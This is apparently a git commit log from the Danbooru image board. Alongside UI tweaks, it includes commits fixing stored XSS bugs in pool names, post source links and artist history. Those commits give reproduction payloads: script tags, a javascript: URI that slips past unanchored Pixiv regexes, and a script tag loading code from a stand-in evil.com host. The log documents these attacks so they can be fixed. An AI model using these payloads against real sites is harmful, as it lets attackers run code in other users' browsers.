Disable comment submit button to prevent double posting.
Fixminor bug with displaying parent border
Merge branch 'master' of https://github.com/r888888888/danbooru
Update mod queue post previews for consistency with rest of site

Fixes display of borders on the previews and such. Also fix the yellow
duplicate background not always working because Post#has_dup_tag? didn't
return a boolean.
Merge pull request #2265 from evazion/misc/disable-submit-buttons

Disable comment submit button to prevent double posting.
Fix XSS in pool names in /pools/gallery page.

1) Set a pool name to '<script>alert("xss")</script>'.
2) Wait for people to view it in /pools/gallery.

At first glance the fact that the pool name is truncated to 80 chars
appears to limit how much can be done in the exploit. This poses no
problem though, since someone could inject '<script src="http://www.evil.com/evil.js"></script>' instead.
Fix XSS in source link on post show page.

This vulnerability allows someone to create a source link that appears
to lead to Pixiv like normal, but that actually executes Javascript code
when clicked.

1) Set the source of a post to javascript:"http://img1.pixiv.net/img/xss/";alert("xss");
2) Wait for someone to click the source link in the Information sidebar.
3) Profit.

The cause is that the regexes for detecting Pixiv URLs aren't anchored
to the front of the string using \A. This allows non-http:// links to be
created.
Fix XSS in /artist_versions.

1) Put `<script>alert("xss 1")</script>` in the Other Names field in an
   artist entry.
2) Put `<script>alert("xss 2")</script>` in the URLs field.
3) Trick someone into the viewing the history page for that artist.
Merge pull request #2273 from evazion/xss/post-source

Fix XSS in source link on post show page.
Merge pull request #2274 from evazion/xss/pool-gallery

Fix XSS in pool names in /pools/gallery page.
Merge pull request #2275 from evazion/xss/artist-history

Fix XSS in /artist_versions.